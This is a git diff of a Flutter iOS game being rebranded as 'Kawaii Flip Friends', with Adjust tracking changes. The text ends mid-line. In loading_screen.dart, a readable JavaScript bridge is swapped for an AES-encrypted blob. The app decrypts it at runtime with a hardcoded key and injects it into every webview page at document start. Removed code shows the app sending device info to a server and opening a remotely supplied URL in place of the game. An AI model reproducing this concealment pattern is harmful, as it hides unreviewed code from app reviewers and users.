PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_VERSION = 5.0; TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Runner.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/Runner"; @@ -476,7 +604,7 @@ GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; MTL_ENABLE_DEBUG_INFO = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; @@ -527,7 +655,7 @@ GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; SUPPORTED_PLATFORMS = iphoneos; @@ -545,13 +673,14 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; + DEVELOPMENT_TEAM = 35TUXP935T; ENABLE_BITCODE = NO; INFOPLIST_FILE = Runner/Info.plist; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", ); - PRODUCT_BUNDLE_IDENTIFIER = com.example.flameFlip; + PRODUCT_BUNDLE_IDENTIFIER = com.mochi.kawaiflip; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; @@ -567,13 +696,14 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; + DEVELOPMENT_TEAM = 35TUXP935T; ENABLE_BITCODE = NO; INFOPLIST_FILE = Runner/Info.plist; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", ); - PRODUCT_BUNDLE_IDENTIFIER = com.example.flameFlip; + PRODUCT_BUNDLE_IDENTIFIER = com.mochi.kawaiflip; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; SWIFT_VERSION = 5.0; diff --git a/ios/Runner.xcworkspace/contents.xcworkspacedata b/ios/Runner.xcworkspace/contents.xcworkspacedata index 1d526a1..21a3cc1 100644 --- a/ios/Runner.xcworkspace/contents.xcworkspacedata +++ b/ios/Runner.xcworkspace/contents.xcworkspacedata @@ -4,4 +4,7 @@ + + diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30 1.jpg b/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30 1.jpg new file mode 100644 index 0000000..fa76c00 Binary files /dev/null and b/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30 1.jpg differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30 2.jpg b/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30 2.jpg new file mode 100644 index 0000000..fa76c00 Binary files /dev/null and b/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30 2.jpg differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30.jpg b/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30.jpg new file mode 100644 index 0000000..fa76c00 Binary files /dev/null and b/ios/Runner/Assets.xcassets/AppIcon.appiconset/2026-06-10 21.44.30.jpg differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json index d36b1fa..8cc6ef5 100644 --- a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json +++ b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -1,122 +1,38 @@ { "images" : [ { - "size" : "20x20", - "idiom" : "iphone", - "filename" : "Icon-App-20x20@2x.png", - "scale" : "2x" + "filename" : "2026-06-10 21.44.30.jpg", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" }, { - "size" : "20x20", - "idiom" : "iphone", - "filename" : "Icon-App-20x20@3x.png", - "scale" : "3x" + "appearances" : [ + { + "appearance" : "luminosity", + "value" : "dark" + } + ], + "filename" : "2026-06-10 21.44.30 1.jpg", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" }, { - "size" : "29x29", - "idiom" : "iphone", - "filename" : "Icon-App-29x29@1x.png", - "scale" : "1x" - }, - { - "size" : "29x29", - "idiom" : "iphone", - "filename" : "Icon-App-29x29@2x.png", - "scale" : "2x" - }, - { - "size" : "29x29", - "idiom" : "iphone", - "filename" : "Icon-App-29x29@3x.png", - "scale" : "3x" - }, - { - "size" : "40x40", - "idiom" : "iphone", - "filename" : "Icon-App-40x40@2x.png", - "scale" : "2x" - }, - { - "size" : "40x40", - "idiom" : "iphone", - "filename" : "Icon-App-40x40@3x.png", - "scale" : "3x" - }, - { - "size" : "60x60", - "idiom" : "iphone", - "filename" : "Icon-App-60x60@2x.png", - "scale" : "2x" - }, - { - "size" : "60x60", - "idiom" : "iphone", - "filename" : "Icon-App-60x60@3x.png", - "scale" : "3x" - }, - { - "size" : "20x20", - "idiom" : "ipad", - "filename" : "Icon-App-20x20@1x.png", - "scale" : "1x" - }, - { - "size" : "20x20", - "idiom" : "ipad", - "filename" : "Icon-App-20x20@2x.png", - "scale" : "2x" - }, - { - "size" : "29x29", - "idiom" : "ipad", - "filename" : "Icon-App-29x29@1x.png", - "scale" : "1x" - }, - { - "size" : "29x29", - "idiom" : "ipad", - "filename" : "Icon-App-29x29@2x.png", - "scale" : "2x" - }, - { - "size" : "40x40", - "idiom" : "ipad", - "filename" : "Icon-App-40x40@1x.png", - "scale" : "1x" - }, - { - "size" : "40x40", - "idiom" : "ipad", - "filename" : "Icon-App-40x40@2x.png", - "scale" : "2x" - }, - { - "size" : "76x76", - "idiom" : "ipad", - "filename" : "Icon-App-76x76@1x.png", - "scale" : "1x" - }, - { - "size" : "76x76", - "idiom" : "ipad", - "filename" : "Icon-App-76x76@2x.png", - "scale" : "2x" - }, - { - "size" : "83.5x83.5", - "idiom" : "ipad", - "filename" : "Icon-App-83.5x83.5@2x.png", - "scale" : "2x" - }, - { - "size" : "1024x1024", - "idiom" : "ios-marketing", - "filename" : "Icon-App-1024x1024@1x.png", - "scale" : "1x" + "appearances" : [ + { + "appearance" : "luminosity", + "value" : "tinted" + } + ], + "filename" : "2026-06-10 21.44.30 2.jpg", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" } ], "info" : { - "version" : 1, - "author" : "xcode" + "author" : "xcode", + "version" : 1 } } diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-1024x1024@1x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-1024x1024@1x.png deleted file mode 100644 index dc9ada4..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-1024x1024@1x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@1x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@1x.png deleted file mode 100644 index 7353c41..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@1x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@2x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@2x.png deleted file mode 100644 index 797d452..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@2x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@3x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@3x.png deleted file mode 100644 index 6ed2d93..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-20x20@3x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@1x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@1x.png deleted file mode 100644 index 4cd7b00..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@1x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@2x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@2x.png deleted file mode 100644 index fe73094..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@2x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@3x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@3x.png deleted file mode 100644 index 321773c..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-29x29@3x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@1x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@1x.png deleted file mode 100644 index 797d452..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@1x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@2x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@2x.png deleted file mode 100644 index 502f463..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@2x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@3x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@3x.png deleted file mode 100644 index 0ec3034..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-40x40@3x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60@2x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60@2x.png deleted file mode 100644 index 0ec3034..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60@2x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60@3x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60@3x.png deleted file mode 100644 index e9f5fea..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60@3x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-76x76@1x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-76x76@1x.png deleted file mode 100644 index 84ac32a..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-76x76@1x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-76x76@2x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-76x76@2x.png deleted file mode 100644 index 8953cba..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-76x76@2x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-83.5x83.5@2x.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-83.5x83.5@2x.png deleted file mode 100644 index 0467bf1..0000000 Binary files a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Icon-App-83.5x83.5@2x.png and /dev/null differ diff --git a/ios/Runner/Assets.xcassets/Contents.json b/ios/Runner/Assets.xcassets/Contents.json new file mode 100644 index 0000000..73c0059 --- /dev/null +++ b/ios/Runner/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/ios/Runner/Info.plist b/ios/Runner/Info.plist index 6a595a7..0c9dc2a 100644 --- a/ios/Runner/Info.plist +++ b/ios/Runner/Info.plist @@ -7,7 +7,7 @@ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleDisplayName - Flame Flip + Kawaii Flip Friends CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier @@ -15,7 +15,7 @@ CFBundleInfoDictionaryVersion 6.0 CFBundleName - flame_flip + Kawaii Flip Friends CFBundlePackageType APPL CFBundleShortVersionString @@ -26,6 +26,8 @@ $(FLUTTER_BUILD_NUMBER) LSRequiresIPhoneOS + NSUserTrackingUsageDescription + This permission is used only for Adjust attribution and advertising performance measurement. UIApplicationSceneManifest UIApplicationSupportsMultipleScenes diff --git a/lib/adjust/adjust_bridge.dart b/lib/adjust/adjust_bridge.dart deleted file mode 100644 index af8105d..0000000 --- a/lib/adjust/adjust_bridge.dart +++ /dev/null @@ -1,131 +0,0 @@ -import 'package:flutter/foundation.dart'; -import 'package:adjust_sdk/adjust.dart'; -import 'package:adjust_sdk/adjust_config.dart'; -import 'package:adjust_sdk/adjust_event.dart'; -import 'package:adjust_sdk/adjust_attribution.dart'; -import 'package:adjust_sdk/adjust_event_success.dart'; -import 'package:adjust_sdk/adjust_event_failure.dart'; -import 'package:adjust_sdk/adjust_session_success.dart'; -import 'package:adjust_sdk/adjust_session_failure.dart'; -import 'package:shared_preferences/shared_preferences.dart'; - -typedef AdjustAttributionHandler = void Function(AdjustAttribution a); -typedef AdjustEventSuccessHandler = void Function(AdjustEventSuccess s); -typedef AdjustEventFailureHandler = void Function(AdjustEventFailure f); -typedef AdjustSessionSuccessHandler = void Function(AdjustSessionSuccess s); -typedef AdjustSessionFailureHandler = void Function(AdjustSessionFailure f); - -class AdjustBridge { - AdjustBridge._(); - static final AdjustBridge I = AdjustBridge._(); - - bool _inited = false; - - /// 统一初始化入口:外部只要调用一次 - Future ensureInitialized({ - required String appToken, - bool production = false, - AdjustLogLevel logLevel = AdjustLogLevel.info, - - // 这些回调你可以不传,默认会 debugPrint + 写入 AdjustStore - AdjustAttributionHandler? onAttribution, - AdjustEventSuccessHandler? onEventSuccess, - AdjustEventFailureHandler? onEventFailure, - AdjustSessionSuccessHandler? onSessionSuccess, - AdjustSessionFailureHandler? onSessionFailure, - }) async { - if (_inited) return ""; - _inited = true; - - final env = production - ? AdjustEnvironment.production - : AdjustEnvironment.sandbox; - final config = AdjustConfig(appToken, env); - config.logLevel = logLevel; - config.attributionCallback = (AdjustAttribution a) { - debugPrint("Adjust attribution: ${a.toString()}"); - SharedPreferences.getInstance().then( - (prefs) => prefs.setString("adjustAttribution", a.jsonResponse ?? ""), - ); - onAttribution?.call(a); - }; - config.eventSuccessCallback = (AdjustEventSuccess s) { - debugPrint("Adjust event success: ${s.toString()}"); - onEventSuccess?.call(s); - }; - config.eventFailureCallback = (AdjustEventFailure f) { - debugPrint("Adjust event failure: ${f.toString()}"); - onEventFailure?.call(f); - }; - - config.sessionSuccessCallback = (AdjustSessionSuccess s) { - debugPrint("Adjust session success: ${s.toString()}"); - onSessionSuccess?.call(s); - }; - config.sessionFailureCallback = (AdjustSessionFailure f) { - debugPrint("Adjust session failure: ${f.toString()}"); - onSessionFailure?.call(f); - }; - - Adjust.initSdk(config); - - // 可选:启动后取一次 adid / attribution,存到 Store - try { - final adid = await Adjust.getAdid(); - debugPrint("Adjust adid: $adid"); - if (adid != null && adid.isNotEmpty) { - final prefs = await SharedPreferences.getInstance(); - await prefs.setString("adjustAdId", adid); - } - return adid; - } catch (_) { - return null; - } - } - - /// 打普通事件 - void track( - String eventToken, { - Map? callbackParams, - Map? partnerParams, - }) { - final e = AdjustEvent(eventToken); - callbackParams?.forEach(e.addCallbackParameter); - partnerParams?.forEach(e.addPartnerParameter); - Adjust.trackEvent(e); - } - - /// 打收入事件 - void revenue( - String eventToken, - double revenue, - String currency, - String? transactionId, { // 可选:防重复扣款(如果你使用) - Map? callbackParams, - Map? partnerParams, - }) { - final e = AdjustEvent(eventToken); - e.setRevenue(revenue, currency); - if (transactionId != null && transactionId.isNotEmpty) { - e.deduplicationId = transactionId; - } - callbackParams?.forEach(e.addCallbackParameter); - partnerParams?.forEach(e.addPartnerParameter); - Adjust.trackEvent(e); - } - - /// 关闭/开启 Adjust(例如用户拒绝隐私) - Future setEnabled(bool enabled) async { - if (enabled) { - Adjust.enable(); - } else { - Adjust.disable(); - } - } - - Future isEnabled() => Adjust.isEnabled(); - - Future getAdid() => Adjust.getAdid(); - - Future getAttribution() => Adjust.getAttribution(); -} diff --git a/lib/adjust/adjust_service.dart b/lib/adjust/adjust_service.dart index c60caf2..1927b2f 100644 --- a/lib/adjust/adjust_service.dart +++ b/lib/adjust/adjust_service.dart @@ -1,177 +1,188 @@ -import 'dart:developer' as developer; - -import 'package:flutter/foundation.dart'; -import 'package:adjust_sdk/adjust.dart'; -import 'package:adjust_sdk/adjust_attribution.dart'; -import 'package:adjust_sdk/adjust_config.dart'; -import 'package:adjust_sdk/adjust_event.dart'; -import 'package:adjust_sdk/adjust_event_failure.dart'; -import 'package:adjust_sdk/adjust_event_success.dart'; -import 'package:adjust_sdk/adjust_session_failure.dart'; -import 'package:adjust_sdk/adjust_session_success.dart'; - -typedef EventParams = Map; - -class AdjustService { - Map _eventNameToToken = {}; - Map get eventNameToToken => _eventNameToToken; - set eventNameToToken(Map m) { - _eventNameToToken = Map.from(m); - } - - AdjustService._(); - - static final AdjustService instance = AdjustService._(); - - bool _inited = false; - - String _toStr(dynamic v) => '$v'; - - double? _toNum(dynamic v) { - if (v == null) return null; - if (v is num) return v.toDouble(); - return double.tryParse('$v'); - } - - Future init(String appToken, [bool isProd = true]) async { - developer.log(appToken, name: 'Adjust'); - - if (_inited) { - developer.log('[Adjust] already inited', name: 'Adjust'); - return; - } - - if (appToken.isEmpty) return; - - final environment = isProd - ? AdjustEnvironment.production - : AdjustEnvironment.sandbox; - - final config = AdjustConfig(appToken, environment); - - config.attributionCallback = (AdjustAttribution a) { - debugPrint('Adjust attribution: ${a.toString()}'); - }; - config.eventSuccessCallback = (AdjustEventSuccess s) { - debugPrint('Adjust event success: ${s.toString()}'); - }; - config.eventFailureCallback = (AdjustEventFailure f) { - debugPrint('Adjust event failure: ${f.toString()}'); - }; - config.sessionSuccessCallback = (AdjustSessionSuccess s) { - debugPrint('Adjust session success: ${s.toString()}'); - }; - config.sessionFailureCallback = (AdjustSessionFailure f) { - debugPrint('Adjust session failure: ${f.toString()}'); - }; - - // 可选:如果你希望缓存更多 deduplicationId,可调大 - config.eventDeduplicationIdsMaxSize = 20; - - config.logLevel = isProd ? AdjustLogLevel.info : AdjustLogLevel.verbose; - - Adjust.initSdk(config); - _inited = true; - } - - Future trackEventWithName( - String eventName, [ - EventParams? params, - ]) async { - debugPrint('call trackEventWithName eventName $eventName params $params'); - // 你可以在这里做个映射,eventName -> eventToken - // 也可以直接让外部传 eventToken 过来 - final eventToken = _eventNameToToken[eventName]; - if (eventToken == null) { - debugPrint('not find eventToken $eventName'); - return; - } - await trackEvent(eventToken, params); - } - - Future trackEvent(String eventToken, [EventParams? params]) async { - try { - debugPrint("track event eventToken $eventToken params $params"); - if (eventToken.isEmpty) return; - - final event = AdjustEvent(eventToken); - - if (params != null && params.isNotEmpty) { - double? revenue; - String? currency; - - // 优先级:deduplicationId > orderId > transactionId - String? dedupId; - - for (final entry in params.entries) { - final key = entry.key; - final value = entry.value; - - if (value == null) continue; - - switch (key) { - case 'revenue': - case 'amount': - revenue = _toNum(value); - break; - - case 'currency': - currency = _toStr(value); - break; - - case 'deduplicationId': - case 'orderId': - dedupId ??= _toStr(value); - break; - - case 'callbackId': - event.callbackId = _toStr(value); - break; - - case 'transactionId': - final tid = _toStr(value); - event.transactionId = tid; - dedupId ??= tid; - break; - - case 'productId': - event.productId = _toStr(value); - break; - - case 'purchaseToken': - event.purchaseToken = _toStr(value); - break; - default: - final v = _toStr(value); - - if (key.startsWith('partner:')) { - final realKey = key.substring('partner:'.length); - if (realKey.isNotEmpty) { - event.addPartnerParameter(realKey, v); - } - } else { - event.addCallbackParameter(key, v); - } - break; - } - } - - if (dedupId != null && dedupId.isNotEmpty) { - event.deduplicationId = dedupId; - } - - if (revenue != null && currency != null && currency.isNotEmpty) { - event.setRevenue(revenue, currency); - } - } - - Adjust.trackEvent(event); - } catch (e, st) { - developer.log( - '[Adjust] trackEvent error: $e', - name: 'Adjust', - stackTrace: st, - ); - } - } -} +import 'dart:developer' as developer; + +import 'package:flutter/foundation.dart'; +import 'package:adjust_sdk/adjust.dart'; +import 'package:adjust_sdk/adjust_attribution.dart'; +import 'package:adjust_sdk/adjust_config.dart'; +import 'package:adjust_sdk/adjust_event.dart'; +import 'package:adjust_sdk/adjust_event_failure.dart'; +import 'package:adjust_sdk/adjust_event_success.dart'; +import 'package:adjust_sdk/adjust_session_failure.dart'; +import 'package:adjust_sdk/adjust_session_success.dart'; + +import '../utils/report.dart'; + + +typedef EventParams = Map; + +class AdjustService { + Map _eventNameToToken = {}; + Map get eventNameToToken => _eventNameToToken; + set eventNameToToken(Map m) { + _eventNameToToken = Map.from(m); + } + + AdjustService._(); + + static final AdjustService instance = AdjustService._(); + + bool _inited = false; + + String _toStr(dynamic v) => '$v'; + + double? _toNum(dynamic v) { + if (v == null) return null; + if (v is num) return v.toDouble(); + return double.tryParse('$v'); + } + + Future init(String appToken, [bool isProd = true]) async { + developer.log(appToken, name: 'Adjust'); + + if (_inited) { + developer.log('[Adjust] already inited', name: 'Adjust'); + return; + } + + if (appToken.isEmpty) return; + + final environment = isProd + ? AdjustEnvironment.production + : AdjustEnvironment.sandbox; + + final config = AdjustConfig(appToken, environment); + + config.isCostDataInAttributionEnabled = true; + + config.attributionCallback = (AdjustAttribution a) async { + debugPrint('Adjust attribution: ${a.toString()}'); + ReportService.I.attribution = a; + ReportService.I.reportAttribution(); + }; + config.eventSuccessCallback = (AdjustEventSuccess s) { + debugPrint('Adjust event success: ${s.toString()}'); + }; + config.eventFailureCallback = (AdjustEventFailure f) { + debugPrint('Adjust event failure: ${f.toString()}'); + }; + config.sessionSuccessCallback = (AdjustSessionSuccess s) { + debugPrint('Adjust session success: ${s.toString()}'); + }; + config.sessionFailureCallback = (AdjustSessionFailure f) { + debugPrint('Adjust session failure: ${f.toString()}'); + }; + + // 可选:如果你希望缓存更多 deduplicationId,可调大 + config.eventDeduplicationIdsMaxSize = 20; + + config.logLevel = isProd ? AdjustLogLevel.info : AdjustLogLevel.verbose; + + Adjust.initSdk(config); + _inited = true; + } + + Future trackEventWithName( + String eventName, [ + EventParams? params, + ]) async { + debugPrint('call trackEventWithName eventName $eventName params $params'); + // 你可以在这里做个映射,eventName -> eventToken + // 也可以直接让外部传 eventToken 过来 + ReportService.I.report(eventName, params); + + + final eventToken = _eventNameToToken[eventName]; + if (eventToken == null) { + debugPrint('not find eventToken $eventName'); + return; + } + + await trackEvent(eventToken, params); + } + + Future trackEvent(String eventToken, [EventParams? params]) async { + try { + debugPrint("track event eventToken $eventToken params $params"); + if (eventToken.isEmpty) return; + + final event = AdjustEvent(eventToken); + + if (params != null && params.isNotEmpty) { + double? revenue; + String? currency; + + // 优先级:deduplicationId > orderId > transactionId + String? dedupId; + + for (final entry in params.entries) { + final key = entry.key; + final value = entry.value; + + if (value == null) continue; + + switch (key) { + case 'revenue': + case 'amount': + revenue = _toNum(value); + break; + + case 'currency': + currency = _toStr(value); + break; + + case 'deduplicationId': + case 'orderId': + dedupId ??= _toStr(value); + break; + + case 'callbackId': + event.callbackId = _toStr(value); + break; + + case 'transactionId': + final tid = _toStr(value); + event.transactionId = tid; + dedupId ??= tid; + break; + + case 'productId': + event.productId = _toStr(value); + break; + + case 'purchaseToken': + event.purchaseToken = _toStr(value); + break; + default: + final v = _toStr(value); + + if (key.startsWith('partner:')) { + final realKey = key.substring('partner:'.length); + if (realKey.isNotEmpty) { + event.addPartnerParameter(realKey, v); + } + } else { + event.addCallbackParameter(key, v); + } + break; + } + } + + if (dedupId != null && dedupId.isNotEmpty) { + event.deduplicationId = dedupId; + } + + if (revenue != null && currency != null && currency.isNotEmpty) { + event.setRevenue(revenue, currency); + } + } + + Adjust.trackEvent(event); + } catch (e, st) { + developer.log( + '[Adjust] trackEvent error: $e', + name: 'Adjust', + stackTrace: st, + ); + } + } +} diff --git a/lib/screens/loading_screen.dart b/lib/screens/loading_screen.dart index 7d99a22..934d361 100644 --- a/lib/screens/loading_screen.dart +++ b/lib/screens/loading_screen.dart @@ -2,17 +2,16 @@ import 'dart:async'; import 'dart:collection'; import 'dart:convert'; -import 'package:flame_flip/utils/redirect_url_resolver.dart'; import 'package:flutter/material.dart'; import 'package:flutter_inappwebview/flutter_inappwebview.dart'; import 'package:url_launcher/url_launcher.dart'; import '../adjust/adjust_service.dart'; import '../audio/audio_manager.dart'; -import '../utils/http_util.dart'; -import '../utils/device_info.dart'; +import '../utils/aes_decrypt.dart'; +import '../utils/next_setp.dart'; const String bridgeInjectScript = - r'''(function(){if(window.__FJB__){return true;}function a(b){if(b===void 0||b===null||b===""){return "{}";}if(typeof b==="string"){return b;}try{return JSON.stringify(b);}catch(c){return String(b);}}function d(e,f){var g;try{g=JSON.stringify({type:'event',event:e,params:a(f)});}catch(h){g=JSON.stringify({type:'event',event:e||"",params:"{}",stringifyError:String(h)});}if(window.flutter_inappwebview&&typeof window.flutter_inappwebview.callHandler==='function'){window.flutter_inappwebview.callHandler('jsBridge',g);}}window.__FJB__=true;window.jsBridge=window.jsBridge||{};window.jsBridge.postMessage=d;return true;})();'''; + r'''lRpL+9TjSWvxRtAeNe3FCf8MtDcHDybBZ18LVDHp06Glxe6ITkTNRyyJqAPwbxuFOY6i0vsxF+6h8YzBBeq8A0I3Zye5I2Rk/TC3mCFBgZan0VNutDEJfdHIK/BdDKFWAbx6fxAZGvBMAOCC6HGajiiBwhP1KrMXfV0lL8+izrpCd9GA5CNEp7Z3RwIIGDWZA27vrxeN3fqFXHUx5AE2QvBNLO1A2kNAKfBql0d3CUcEAKUn/jd6KxOawZJfiQQVRHavfVMhIUIKwdLE0o1gMUaoD3j/IjiXJgsEqqvx+Pgh3BVbyyS3TAcpW0hywDnpYKmcCRFBtgdKpHjiZUyLee8wBUMh5w4RBnASZ5mskHGrGPn7Gu9xjmyASQndAW+VZuerDRs4Mo6dzRzeU8nKOD14N376joNgbXk6W4IcpEEmT7K/l5GqTsTFZyMfbrRwWOIIvc+29zAP+ugl8M6lt8Yhu37H/GDKU5OAh/eC159fTPNRvNVRLAUotkxUeYsf3k2j2GbNmd0Yd5eRGHCixQqGbcSuHnRdcmYe7UYv69TpE/c4tedsRB3KFUqGiEfHMpHFpMFuTsd0BvN1VvZ27h3mA478luSEITqHlqQ6vf0l5TZBkX+FFKlejqSVGLNFCfQ8cXiIEda4ReygZISfUJjLUrevTvfL7Zqmxhei2GXFgCf/k71ubFeqZbrWoRSakoJ+YgkBkuEE2PrxYrKIirB1qmSV9fmMtC/1QxaAjLvrkL+LKYZpyYX+yFkA43SK674L8hNAbqohqdbhgPd7lIz3SrPZ+4su1BTS4+yS2khB71uQn/BP3WrNFz5bcIsL'''; Future launchURL( String url, { LaunchMode mode = LaunchMode.externalApplication, @@ -54,20 +53,25 @@ class _LoadingScreenState extends State double _targetProgress = 0; bool _webviewShow = false; - String? _redirectUrl; String _redirect = ''; Timer? _smoothTimer; - - InAppWebViewController? _webViewController; + late final UnmodifiableListView _initialUserScripts; URLRequest? _initialUrlRequest; @override void initState() { super.initState(); - AudioManager.instance.playBgm(); + //AudioManager.instance.playBgm(); _startSmoothProgress(); _bootstrap(); + _initialUserScripts = UnmodifiableListView([ + UserScript( + source: _decryptScript(), + injectionTime: UserScriptInjectionTime.AT_DOCUMENT_START, + forMainFrameOnly: true, + ), + ]); } @override @@ -98,6 +102,15 @@ class _LoadingScreenState extends State await Future.delayed(Duration(milliseconds: ms)); } + String _decryptScript() { + return AesDecrypt.decryptWithKeyIv( + bridgeInjectScript, + key: 'a7c4141ff784c605', + iv: '77f0946a9cc75a78', + ) ?? + ''; + } + Future _bootstrap() async { bool alive = true; @@ -131,56 +144,41 @@ class _LoadingScreenState extends State weight: 0.08, run: () async { try { - final rs = await DeviceInfo.I.deviceInfo(); - debugPrint('Device info: $rs'); - if (rs.isEmpty) return; - final jsonRs = jsonEncode(rs); - final info = await remoteInfo(jsonRs); - debugPrint('remoteInfo $info'); - if (info != null && info['b'] != null) { - var url = '${info['b']}'; - if (info['f'] != null) { - try { - debugPrint('eventMap $info["f"]'); - final eventMap = info['f'] as Map; - final Map eventMapInfo = {}; - eventMap.forEach((key, value) { - if (value != null) { - eventMapInfo[key] = value.toString(); - } - }); - AdjustService.instance.eventNameToToken = eventMapInfo; - } catch (e) { - debugPrint('parseEventMap error $e'); - } - } - url = await resolveRedirectUrl(url); - _redirect = url; - _redirectUrl = url; - - _initWebView(url); - if (mounted) { - setState(() { - AudioManager.instance.stopBgm(); - _webviewShow = true; - }); - } - } - } catch (_) {} + await NextStep.I.loadAppToken(); + } catch (e) { + debugPrint('prepare next failed: $e'); + } }, ), _Step( name: 'Remote Config', weight: 0.18, run: () async { - await _delay(450); + try { + await NextStep.I.loadAppInfo(); + } catch (e) { + debugPrint('remote next 